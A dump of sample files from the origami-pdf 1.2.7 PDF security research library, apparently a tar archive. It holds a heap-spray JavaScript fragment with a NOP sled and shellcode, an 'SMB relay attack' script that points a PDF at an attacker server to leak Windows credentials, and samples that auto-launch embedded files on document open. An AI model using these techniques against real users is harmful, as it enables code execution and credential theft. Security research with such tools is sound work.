90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\ 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\ 90%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u90\ 90%u9090%u9090%u9090") + shellcode; nopblock = unescape("%u9090%u9090"); headersize = 10; acl = headersize+garbage.length; while (nopblock.length= 0; --i) nop += unescape("%u9090%u9090%u9090%u9090%u9090"); heapblock = nop + shellcode; bigblock = unescape("%u9090%u9090"); headersize = 20; spray = headersize+heapblock.length while (bigblock.length> >> /Pages 3 0 R /Type /Catalog >> endobj 2 0 obj << /OE (+8 'a_> >> /O (? x> "Yv$4n\n ,UA) /UE (m4CAE;uq6d C \r) /P -1 /StmF /StdCF /Filter /Standard /Perms (&.+x2/a) /R 5 /Length 256 /U (y/\)TMY\rZen;P{) >> endobj 3 0 obj << /Count 1 /Kids [ 4 0 R ] /Type /Pages >> endobj 4 0 obj << /MediaBox [ 0 0 795 842 ] /Parent 3 0 R /Contents 5 0 R /Resources << /Font << /F1 << /Name /F1 /BaseFont /Helvetica /Subtype /Type1 /Type /Font >> >> >> /Type /Page >> endobj 5 0 obj << /Length 80 >>stream Ow&^#2jBuP28ǀ-]gDVFE[y_+/_]/>ўqQ@')F endstream endobj xref 0 6 0000000000 65535 f 0000000010 00000 n 0000000151 00000 n 0000000600 00000 n 0000000669 00000 n 0000000906 00000 n trailer << /Root 1 0 R /Size 6 /ID [ (5275bacefc2b8c5a4432d134de6a2e2a) (5275bacefc2b8c5a4432d134de6a2e2a) ] /Encrypt 2 0 R >> startxref 1043 %%EOF origami-pdf-1.2.7/samples/crypto/crypto.rb0000755000175000017500000000122011645333134020763 0ustar terceiroterceiro#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" # Creates an encrypted document with AES256 and a null password. pdf = PDF.new.encrypt(:cipher => 'aes', :key_size => 256) contents = ContentStream.new contents.write "Crypto sample", :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 pdf.append_page Page.new.setContents(contents) pdf.save(OUTPUTFILE) puts "PDF file saved as #{OUTPUTFILE}." origami-pdf-1.2.7/samples/flash/0000755000175000017500000000000012427006372016675 5ustar terceiroterceiroorigami-pdf-1.2.7/samples/flash/flash.rb0000755000175000017500000000136011645333134020322 0ustar terceiroterceiro#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami INPUTFILE = "helloworld.swf" OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" # Creating a new file pdf = PDF.new.append_page(page = Page.new) # Embedding the SWF file into the PDF. swf = pdf.attach_file(INPUTFILE) # Creating a Flash annotation on the page. annot = page.add_flash_application(swf, :windowed => true, :navigation_pane => true, :toolbar => true) # Setting the player position on the page. annot.Rect = Rectangle.new(204, 573, 403, 718) pdf.save(OUTPUTFILE) puts "PDF file saved as #{OUTPUTFILE}." origami-pdf-1.2.7/samples/digsig/0000755000175000017500000000000012427006355017047 5ustar terceiroterceiroorigami-pdf-1.2.7/samples/digsig/signed.rb0000755000175000017500000000211211647303760020647 0ustar terceiroterceiro#!/usr/bin/ruby require 'openssl' begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" CERTFILE = "test.crt" RSAKEYFILE = "test.key" contents = ContentStream.new.setFilter(:FlateDecode) contents.write OUTPUTFILE, :x => 350, :y => 750, :rendering => Text::Rendering::STROKE, :size => 30 pdf = PDF.new page = Page.new.setContents(contents) pdf.append_page(page) # Open certificate files cert = OpenSSL::X509::Certificate.new(File.open(CERTFILE).read) key = OpenSSL::PKey::RSA.new(File.open(RSAKEYFILE).read) sigannot = Annotation::Widget::Signature.new sigannot.Rect = Rectangle[:llx => 89.0, :lly => 386.0, :urx => 190.0, :ury => 353.0] page.add_annot(sigannot) # Sign the PDF with the specified keys pdf.sign(cert, key, :method => 'adbe.pkcs7.sha1', :annotation => sigannot, :location => "France", :contact => "fred@security-labs.org", :reason => "Proof of Concept" ) # Save the resulting file pdf.save(OUTPUTFILE) origami-pdf-1.2.7/samples/digsig/signed.pdf0000644000175000017500000001326411351675037021025 0ustar terceiroterceiro%PDF-1.7 1 0 obj << /AcroForm << /Fields [ 5 0 R 5 0 R ] /SigFlags 3 >> /Pages 2 0 R /Type /Catalog >> endobj 2 0 obj << /Kids [ 3 0 R ] /Count 1 /Type /Pages >> endobj 3 0 obj << /Annots [ 5 0 R ] /Resources << /Font << /F1 << /Name /F1 /BaseFont /Helvetica /Type /Font /Subtype /Type1 >> >> >> /Contents 4 0 R /MediaBox [ 0 0 795 842 ] /Parent 2 0 R /Type /Page >> endobj 4 0 obj << /Filter /FlateDecode /Length 59 >>stream xs w3T06PI265P0.# eRĥQWI endstream endobj 5 0 obj << /T (undef91230) /P 3 0 R /DA (/F1 10 Tf 0 g) /Rect [ 89.0 386.0 190.0 353.0 ] /FT /Sig /V 6 0 R /Subtype /Widget >> endobj 6 0 obj << /Type /Sig /SubFilter /adbe.pkcs7.detached /Reason <50726F6F66206F6620436F6E6365707420286F776E656429> /Prop_Build << /App << /OS [ /Win ] /Name /Exchange-Pro /R 458752 /TrustedMode false >> /Filter << /Name /Adobe.PPKMS /R 131101 /Date (Sat Jul 25 01:14:48 +0200 2009) >> /SigQ << /Preview false /R 131101 >> /PubSec << /NonEFontNoWarn false /R 131101 /Date (Sat Jul 25 01:14:48 +0200 2009) >> >> /M (D:20090724231448Z00'00) /Location <4672616E6365> /Filter /Adobe.PPKMS /Contents <3082079A06092A864886F70D010702A082078B30820787020101310B300906052B0E03021A0500300B06092A864886F70D010701A08204D7308204D3308203BBA003020102020900FB0E83C997896988300D06092A864886F70D01010505003081A1310B3009060355040613024652311630140603550408130D496C652D64652D4672616E6365310E300C060355040713055061726973310F300D060355040A1306536F67657469310D300B060355040B130445534543311A3018060355040314114775696C6C61756D652044656C75677282312E302C06092A864886F70D010901161F6461726B70686F656E69784062696E6172792D72657665727365722E6F7267301E170D3038303832303132323133315A170D3138303831383132323133315A3081A1310B3009060355040613024652311630140603550408130D496C652D64652D4672616E6365310E300C060355040713055061726973310F300D060355040A1306536F67657469310D300B060355040B130445534543311A3018060355040314114775696C6C61756D652044656C75677282312E302C06092A864886F70D010901161F6461726B70686F656E69784062696E6172792D72657665727365722E6F726730820122300D06092A864886F70D01010105000382010F003082010A0282010100A54D47AEBD119C7B21D1D3F957C04F5FE43F8D1FD355BA1951A68D4FEE1F51897BA7A7CC690234A84637C4C38C46D215A964F30110AE9A1463573090CF06B04B964588BEA653D17534E0F1B63D0A92051743B2E50CF47A1D8D30738205946C3D0CD75AA443E12B70CE9AC0568A6C227A4A9239A09886AFE2BF7DAEC98B3E98D5657E08C1690C44EB3C83B1D8B3323FA10C01DFB9CE336D71559F6135AE4F5D30CE68CE1BC3E845FA0B12DBD92919C9E886E285D003ACFD447C9FBA93B18691CCC69B77CA4B5E2B2840F6272994EFCE52B012B09C8A939C3E57A5DDDF3DC523D24355B58A48227C7EA124572ECAE052631E6260EAFD693AE8D93DEEB9127478DD0203010001A382010A30820106301D0603551D0E0416041455FB245D656DDE6AA0D85008C5163A751756EEE03081D60603551D230481CE3081CB801455FB245D656DDE6AA0D85008C5163A751756EEE0A181A7A481A43081A1310B3009060355040613024652311630140603550408130D496C652D64652D4672616E6365310E300C060355040713055061726973310F300D060355040A1306536F67657469310D300B060355040B130445534543311A3018060355040314114775696C6C61756D652044656C75677282312E302C06092A864886F70D010901161F6461726B70686F656E69784062696E6172792D72657665727365722E6F7267820900FB0E83C997896988300C0603551D13040530030101FF300D06092A864886F70D0101050500038201010088336A1496085618DA863ED153842E268528E42C4DC532B87064C502182A017A3B70F057B075A023D53C236CDFD05D3F02EB0840B9532B0644E23CA5A44FBA7D563C2E3FBF94F3838F945EE21EB9E10F4594B20AF29A8327E9EEB9DD5121F2B6355BBA90E59F6A8DD503E0454B3BB7908AA79482FA22FDB0BEF7026547909F8D8FA5510C79BA96739BEAAE1B79EAE26F097B4130BFDE5EB993FABCB19BCC4BE81DDF7BA707332482D9E618450DBF1F48FD27BB06F85D2CD922C4E6114E77B0E8705CCA2CB939C80332E798A5A22D07B143079B102BEE3CC545E9559CE61015E608BC7CCBD0DB3DA1FAC08D36C7F26AE650208CC65D9BBF5D4FB18C54ADC958823182028B308202870201013081AF3081A1310B3009060355040613024652311630140603550408130D496C652D64652D4672616E6365310E300C060355040713055061726973310F300D060355040A1306536F67657469310D300B060355040B130445534543311A3018060355040314114775696C6C61756D652044656C75677282312E302C06092A864886F70D010901161F6461726B70686F656E69784062696E6172792D72657665727365722E6F7267020900FB0E83C997896988300906052B0E03021A0500A081B1301806092A864886F70D010903310B06092A864886F70D010701301C06092A864886F70D010905310F170D3039303732343233313434385A302306092A864886F70D01090431160414486C686F64879E9E3804D6CD57BD332FBD8FC923305206092A864886F70D01090F31453043300A06082A864886F70D0307300E06082A864886F70D030202020080300D06082A864886F70D0302020140300706052B0E030207300D06082A864886F70D0302020128300D06092A864886F70D0101010500048201009419716CB3966C050C1AAE3184D58283F18E15047AA230ED5A62E7137429D6ED7E879094D9EACAA5ECF6D71038BBAD384A2B2E447CAAFD193D6A83D01F510FF491D47B0B1DCEC48CD7CAF2FD3978A20088F91F2FD2B66FB5210B71800C45D6EDE5E20E6A546F8EC6CFABA8C67CDF6D3992E616EE0C89CD77EB479A4417EF20DCEF40A351E8DD6D1EBE4BC69511375DDB71697F060C2EB6E8F04FD7DA2B028AE48C00B684C5F49CD76D87A0B140F05F20588380E5CC32CA1389864D8099E0775760861C2A6CC0D2BC65BFB4E19C3D60E39419A4B33977ED30FBB76687A4405AFC9A3AFBFE36177EA36C306134602C6114717C54FCFB2E0F7C40B05F0F8C9AC0470000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000> /ContactInfo <667265644073656375726974792D6C6162732E6F7267> /ByteRange [ 0 1329 5487 325 ] >> endobj xref 0 7 0000000000 65535 f 0000000010 00000 n 0000000129 00000 n 0000000198 00000 n 0000000455 00000 n 0000000594 00000 n 0000000746 00000 n trailer << /Size 7 /Root 1 0 R >> startxref 5596 %%EOF origami-pdf-1.2.7/samples/attachments/0000755000175000017500000000000012427006355020114 5ustar terceiroterceiroorigami-pdf-1.2.7/samples/attachments/attach.rb0000755000175000017500000000150612122110015021667 0ustar terceiroterceiro#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami INPUTFILE = "attached.txt" OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" # Creating a new file pdf = PDF.new # Embedding the file into the PDF. pdf.attach_file(INPUTFILE, :EmbeddedName => "README.txt", :Filter => :ASCIIHexDecode ) contents = ContentStream.new contents.write "File attachment sample", :x => 250, :y => 750, :rendering => Text::Rendering::FILL, :size => 30 pdf.append_page Page.new.setContents(contents) pdf.onDocumentOpen Action::JavaScript <> /OpenAction << /JS ( this.exportDataObject\({cName:"README.txt", nLaunch:2}\);\n) /S /JavaScript >> /Type /Catalog >> endobj 2 0 obj << /Count 1 /Kids [ 3 0 R ] /Type /Pages >> endobj 3 0 obj << /Contents 4 0 R /Parent 2 0 R /Resources << /Font << /F1 << /Type /Font /Subtype /Type1 /BaseFont /Helvetica /Name /F1 >> >> >> /Type /Page /MediaBox [ 0 0 795 842 ] >> endobj 4 0 obj << /Length 61 >>stream BT /F1 30 Tf 250 750 Td 20 TL (File attachment sample) Tj ET endstream endobj 5 0 obj << /Names [ (README.txt) 6 0 R ] >> endobj 6 0 obj << /Type /Filespec /F (README.txt) /EF << /F 7 0 R >> >> endobj 7 0 obj << /Filter /ASCIIHexDecode /Length 65 >>stream 2A2A2A544849532049532054484520454D4245444445442046494C452A2A2A0A> endstream endobj xref 0 8 0000000000 65535 f 0000000010 00000 n 0000000219 00000 n 0000000288 00000 n 0000000525 00000 n 0000000643 00000 n 0000000700 00000 n 0000000787 00000 n trailer << /Root 1 0 R /Size 8 >> startxref 935 %%EOF origami-pdf-1.2.7/samples/attachments/attached.txt0000644000175000017500000000004011555337617022435 0ustar terceiroterceiro***THIS IS THE EMBEDDED FILE*** origami-pdf-1.2.7/samples/javascript/0000755000175000017500000000000012427006355017747 5ustar terceiroterceiroorigami-pdf-1.2.7/samples/javascript/js.rb0000755000175000017500000000230312122110015020666 0ustar terceiroterceiro#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib" $: << ORIGAMIDIR require 'origami' end include Origami if defined?(PDF::JavaScript::Engine) INPUTFILE = "attached.txt" # Creating a new file pdf = PDF.new # Embedding the file into the PDF. pdf.attach_file(INPUTFILE, :EmbeddedName => "README.txt", :Filter => :ASCIIHexDecode ) # Example of JS payload pdf.onDocumentOpen Action::JavaScript <<-JS if ( app.viewerVersion == 8 ) eval("this.exportDataObject({cName:'README.txt', nLaunch:2});"); this.closeDoc(); JS # Tweaking the engine options pdf.js_engine.options[:log_method_calls] = true pdf.js_engine.options[:viewerVersion] = 8 # Hooking eval() pdf.js_engine.hook 'eval' do |eval, expr| puts "Hook: eval(#{expr.inspect})" eval.call(expr) # calling the real eval method end # Example of inline JS evaluation pdf.eval_js 'console.println(util.stringFromStream(this.getDataObjectContents("README.txt")))' # Executes the string as a JS script pdf.Catalog.OpenAction[:JS].eval_js else puts "JavaScript support not found. You need to install therubyracer gem." end origami-pdf-1.2.7/samples/javascript/attached.txt0000644000175000017500000000004011641106114022246 0ustar terceiroterceiro***THIS IS THE EMBEDDED FILE*** origami-pdf-1.2.7/samples/actions/0000755000175000017500000000000012427006355017241 5ustar terceiroterceiroorigami-pdf-1.2.7/samples/actions/triggerevents/0000755000175000017500000000000012427006355022131 5ustar terceiroterceiroorigami-pdf-1.2.7/samples/actions/triggerevents/trigger.rb0000755000175000017500000000436312122110015024107 0ustar terceiroterceiro#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" pdf = PDF.new page = Page.new contents = ContentStream.new contents.write "Pass your mouse over the yellow square", :x => 250, :y => 750, :size => 15 page.setContents( contents ) onpageopen = Action::JavaScript "app.alert('Page Opened');" onpageclose = Action::JavaScript "app.alert('Page Closed');" ondocumentopen = Action::JavaScript "app.alert('Document is opened');" ondocumentclose = Action::JavaScript "app.alert('Document is closing');" onmouseover = Action::JavaScript "app.alert('Mouse over');" onmouseleft = Action::JavaScript "app.alert('Mouse left');" onmousedown = Action::JavaScript "app.alert('Mouse down');" onmouseup = Action::JavaScript "app.alert('Mouse up');" onparentopen = Action::JavaScript "app.alert('Parent page has opened');" onparentclose = Action::JavaScript "app.alert('Parent page has closed');" onparentvisible = Action::JavaScript "app.alert('Parent page is visible');" onparentinvisible = Action::JavaScript "app.alert('Parent page is no more visible');" namedscript = Action::JavaScript "app.alert('Names directory script');" pdf.onDocumentOpen(ondocumentopen) pdf.onDocumentClose(ondocumentclose) page.onOpen(onpageopen).onClose(onpageclose) pdf.register(Names::Root::JAVASCRIPT, "test", namedscript) rect_coord = Rectangle[:llx => 350, :lly => 700, :urx => 415, :ury => 640] # Just draw a yellow rectangle. rect = Annotation::Square.new rect.Rect = rect_coord rect.IC = [ 255, 255, 0 ] # Creates a new annotation which will catch mouse actions. annot = Annotation::Screen.new annot.Rect = rect_coord # Bind the scripts to numerous triggers. annot.onMouseOver(onmouseover) annot.onMouseOut(onmouseleft) annot.onMouseDown(onmousedown) annot.onMouseUp(onmouseup) annot.onPageOpen(onparentopen) annot.onPageClose(onparentclose) annot.onPageVisible(onparentvisible) annot.onPageInvisible(onparentinvisible) page.add_annot(annot) page.add_annot(rect) pdf.append_page(page) # Save the resulting file. pdf.save(OUTPUTFILE) puts "PDF file saved as #{OUTPUTFILE}." origami-pdf-1.2.7/samples/actions/triggerevents/trigger.pdf0000644000175000017500000000377212122110015024255 0ustar terceiroterceiro%PDF-1.4 1 0 obj << /Pages 2 0 R /OpenAction << /JS (app.alert\('Document is opened'\);) /S /JavaScript >> /AA << /WC << /JS (app.alert\('Document is closing'\);) /S /JavaScript >> >> /Names << /JavaScript 5 0 R >> /Type /Catalog >> endobj 2 0 obj << /Count 1 /Kids [ 3 0 R ] /Type /Pages >> endobj 3 0 obj << /Contents 4 0 R /AA << /O << /JS (app.alert\('Page Opened'\);) /S /JavaScript >> /C << /JS (app.alert\('Page Closed'\);) /S /JavaScript >> >> /Annots [ << /Rect [ 350 700 415 640 ] /AA << /E << /JS (app.alert\('Mouse over'\);) /S /JavaScript >> /X << /JS (app.alert\('Mouse left'\);) /S /JavaScript >> /D << /JS (app.alert\('Mouse down'\);) /S /JavaScript >> /U << /JS (app.alert\('Mouse up'\);) /S /JavaScript >> /PO << /JS (app.alert\('Parent page has opened'\);) /S /JavaScript >> /PC << /JS (app.alert\('Parent page has closed'\);) /S /JavaScript >> /PV << /JS (app.alert\('Parent page is visible'\);) /S /JavaScript >> /PI << /JS (app.alert\('Parent page is no more visible'\);) /S /JavaScript >> >> /P 3 0 R /Subtype /Screen >> << /Rect [ 350 700 415 640 ] /IC [ 255 255 0 ] /P 3 0 R /Subtype /Square >> ] /Parent 2 0 R /Resources << /Font << /F1 << /Type /Font /Subtype /Type1 /BaseFont /Helvetica /Name /F1 >> >> >> /Type /Page /MediaBox [ 0 0 795 842 ] >> endobj 4 0 obj << /Length 77 >>stream BT /F1 15 Tf 250 750 Td 20 TL (Pass your mouse over the yellow square) Tj ET endstream endobj 5 0 obj << /Names [ (test) 6 0 R ] >> endobj 6 0 obj << /JS (app.alert\('Names directory script'\);) /S /JavaScript >> endobj xref 0 7 0000000000 65535 f 0000000010 00000 n 0000000284 00000 n 0000000353 00000 n 0000001552 00000 n 0000001686 00000 n 0000001737 00000 n trailer << /Root 1 0 R /Size 7 >> startxref 1826 %%EOF origami-pdf-1.2.7/samples/actions/samba/0000755000175000017500000000000012427006355020324 5ustar terceiroterceiroorigami-pdf-1.2.7/samples/actions/samba/smbrelay.pdf0000644000175000017500000000127611541257434022645 0ustar terceiroterceiro%PDF-1.2 1 0 obj << /Pages 2 0 R /Type /Catalog >> endobj 2 0 obj << /Kids [ 3 0 R ] /Count 1 /Type /Pages >> endobj 3 0 obj << /Parent 2 0 R /MediaBox [ 0 0 795 842 ] /Resources << /Font << /F1 4 0 R >> >> /Type /Page /AA << /O << /S /GoToR /NewWindow true /F << /F (\\\\localhost\\origami\\owned.pdf) /Type /FileSpec >> /D [ 0 /Fit ] >> >> >> endobj 4 0 obj << /Subtype /Type1 /BaseFont /Helvetica /Type /Font /Name /F1 >> endobj xref 0 5 0000000000 65535 f 0000000010 00000 n 0000000067 00000 n 0000000136 00000 n 0000000435 00000 n trailer << /Root 1 0 R /Size 5 >> startxref 527 %%EOF origami-pdf-1.2.7/samples/actions/samba/smbrelay.rb0000755000175000017500000000101512122110015022444 0ustar terceiroterceiro#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami # # SMB relay attack. # Uses a GoToR action to open a shared network directory. # ATTACKER_SERVER = "localhost" pdf = PDF.read(ARGV[0]) dst = ExternalFile.new("\\\\#{ATTACKER_SERVER}\\origami\\owned.pdf") gotor = Action::GoToR[dst, Destination::GlobalFit.new(0), true] pdf.pages.first.onOpen(gotor) pdf.save("#{File.basename($0, '.rb')}.pdf") origami-pdf-1.2.7/samples/actions/loop/0000755000175000017500000000000012427006355020212 5ustar terceiroterceiroorigami-pdf-1.2.7/samples/actions/loop/loopnamed.rb0000755000175000017500000000066412122110015022503 0ustar terceiroterceiro#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../../lib" $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG ) pages = pdf.pages pages.each do |page| page.onOpen Action::Named::NEXTPAGE unless page == pages.last end pages.last.onOpen Action::Named::FIRSTPAGE pdf.save("loopnamed_sample.pdf") origami-pdf-1.2.7/samples/actions/loop/loopgoto_sample.pdf0000644000175000017500000312332012122110015024071 0ustar terceiroterceiro%PDF-1.4 1 0 obj << >> endobj 2 0 obj << >> endobj 3 0 obj << /pgfprgb [ /Pattern /DeviceRGB ] >> endobj 12 0 obj << /S /GoTo /D (Outline0.1) >> endobj 13 0 obj << /D [ 276 0 R /XYZ 28.346 246.281 null ] >> endobj 14 0 obj << /Title 15 0 R /A 12 0 R /Parent 1289 0 R /Next 18 0 R >> endobj 15 0 obj (PDF pour les nuls \(en 1 slide\)) endobj 16 0 obj << /S /GoTo /D (Outline0.2) >> endobj 17 0 obj << /D [ 488 0 R /XYZ 28.346 246.281 null ] >> endobj 18 0 obj << /Title 19 0 R /A 16 0 R /Parent 1289 0 R /Prev 14 0 R /Next 22 0 R >> endobj 19 0 obj (Le PDF, c'est dynamique !) endobj 20 0 obj << /S /GoTo /D (Outline0.3) >> endobj 21 0 obj << /D [ 631 0 R /XYZ 28.346 246.281 null ] >> endobj 22 0 obj << /Title 23 0 R /A 20 0 R /Parent 1289 0 R /Prev 18 0 R /Next 34 0 R /First 26 0 R /Last 30 0 R /Count 2 >> endobj 23 0 obj (Adobe et PDF) endobj 24 0 obj << /S /GoTo /D (Outline0.3.1.12) >> endobj 25 0 obj << /D [ 673 0 R /XYZ 28.346 246.281 null ] >> endobj 26 0 obj << /Title 27 0 R /A 24 0 R /Parent 22 0 R /Next 30 0 R >> endobj 27 0 obj (Adobe Reader) endobj 28 0 obj << /S /GoTo /D (Outline0.3.2.17) >> endobj 29 0 obj << /D [ 850 0 R /XYZ 28.346 246.281 null ] >> endobj 30 0 obj << /Title 31 0 R /A 28 0 R /Parent 22 0 R /Prev 26 0 R >> endobj 31 0 obj (Le plug-in web d'Adobe Reader) endobj 32 0 obj << /S /GoTo /D (Outline0.4) >> endobj 33 0 obj << /D [ 992 0 R /XYZ 28.346 246.281 null ] >> endobj 34 0 obj << /Title 35 0 R /A 32 0 R /Parent 1289 0 R /Prev 22 0 R /First 38 0 R /Last 42 0 R /Count 2 >> endobj 35 0 obj (Les origamis contre-attaquent : fuite de credentials) endobj 36 0 obj << /S /GoTo /D (Outline0.4.1.22) >> endobj 37 0 obj << /D [ 1032 0 R /XYZ 28.346 246.281 null ] >> endobj 38 0 obj << /Title 39 0 R /A 36 0 R /Parent 34 0 R /Next 42 0 R >> endobj 39 0 obj (Sur la toile) endobj 40 0 obj << /S /GoTo /D (Outline0.4.2.24) >> endobj 41 0 obj << /D [ 1103 0 R /XYZ 28.346 246.281 null ] >> endobj 42 0 obj << /Title 43 0 R /A 40 0 R /Parent 34 0 R /Prev 38 0 R >> endobj 43 0 obj (Dans un domaine Windows) endobj 44 0 obj << /S /GoTo /D [ 45 0 R /Fit ] >> endobj 45 0 obj << /Type /Page /Contents 83 0 R /Resources 82 0 R /MediaBox [ 0 0 362.835 272.126 ] /Trans << /S /R >> /Parent 90 0 R /Annots [ 57 0 R 58 0 R 59 0 R 60 0 R 61 0 R 62 0 R 63 0 R 64 0 R 65 0 R 66 0 R 67 0 R 68 0 R 69 0 R 70 0 R 71 0 R 72 0 R 73 0 R 74 0 R 75 0 R 76 0 R 77 0 R 78 0 R 79 0 R 80 0 R 81 0 R ] /AA << /O << /S /GoTo /D [ 152 0 R /Fit ] >> >> >> endobj 46 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 362.835 3.985 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 91 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 52 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 5669.291 8 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 94 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 53 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 8 8 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 92 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 54 0 obj << /Type /XObject /Subtype /Form /BBox [ 0 0 16 16 ] /FormType 1 /Matrix [ 1 0 0 1 0 0 ] /Resources 93 0 R /Length 15 /Filter /FlateDecode >>stream xP( endstream endobj 55 0 obj << /Type /XObject /Subtype /Form /FormType 1 /PTEX.FileName (./figs/logo-ESEC.pdf) /PTEX.PageNumber 1 /PTEX.InfoDict 95 0 R /BBox [ 0 0 104 105 ] /Resources << /ProcSet [ /PDF /ImageB /ImageC /ImageI ] /ExtGState << /Gs1 96 0 R >> /XObject << /Im1 97 0 R >> >> /Length 68 /Filter /FlateDecode >>stream x+TT(T0BC 6U(JUWSw/6TH/J5Yɹ \.@ endstream endobj 56 0 obj << /Type /XObject /Subtype /Form /FormType 1 /PTEX.FileName (./figs/misc_logo_600.pdf) /PTEX.PageNumber 1 /PTEX.InfoDict 103 0 R /BBox [ 0 0 601 239 ] /Resources << /ProcSet [ /PDF /ImageB /ImageC /ImageI ] /ExtGState << /Gs1 104 0 R >> /XObject << /Im1 105 0 R >> >> /Length 73 /Filter /FlateDecode >>stream x+TT(T0B3C#cKTp<}bCbH(i`ghnlds=s \f endstream endobj 57 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 232.399 5.96 240.369 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 58 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 1 0 0 ] /Rect [ 238.376 5.96 248.339 15.425 ] /Subtype /Link /A << /S /Named /N /GoToPage >> >> endobj 59 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 246.346 5.96 254.316 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 60 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 253.735 5.96 260.708 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 61 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 258.716 5.96 265.69 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 62 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 263.697 5.96 270.671 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 63 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 268.679 5.96 275.652 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation2) >> >> endobj 64 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 275.071 5.96 282.044 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 65 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 280.052 5.96 287.026 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 66 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 285.033 5.96 292.007 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 67 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 290.014 5.96 296.988 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 68 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 296.406 5.96 303.38 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 69 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 301.388 5.96 308.362 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 70 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 306.369 5.96 313.343 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation4) >> >> endobj 71 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 311.35 5.96 318.324 15.425 ] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 72 0 obj << /Type /Annot /Border [ 0 0 0 ] /H /N /C [ 0.5 0.5 0.5 ] /Rect [ 317.742 5.96 328.701 15.425 ] 